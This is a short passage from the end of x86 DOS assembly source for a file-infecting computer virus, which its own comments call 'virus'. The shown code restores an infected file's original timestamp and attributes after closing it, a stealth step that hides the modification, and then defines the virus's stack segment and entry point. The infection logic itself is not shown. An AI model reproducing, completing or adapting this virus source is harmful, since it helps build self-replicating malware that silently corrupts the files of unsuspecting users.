mov ah,57H ;set file date and time to old value
|
|
mov al,1
|
|
mov bx,[HANDLE]
|
|
int 21H
|
|
mov ah,3EH
|
|
mov bx,[HANDLE] ;close file
|
|
int 21H
|
|
mov cl,[FATTR]
|
|
xor ch,ch
|
|
mov ah,43H ;Set file attr to old value
|
|
mov al,1
|
|
mov dx,OFFSET USEFILE
|
|
int 21H
|
|
ret
|
|
|
|
FINAL: ;last byte of code to be kept in virus
|
|
|
|
VSEG ENDS
|
|
|
|
|
|
;--------------------------------------------------------------------------
|
|
;Virus stack segment
|
|
|
|
VSTACK SEGMENT PARA STACK
|
|
db STACKSIZE dup (?)
|
|
VSTACK ENDS
|
|
|
|
END VIRUS ;Entry point is the virus
|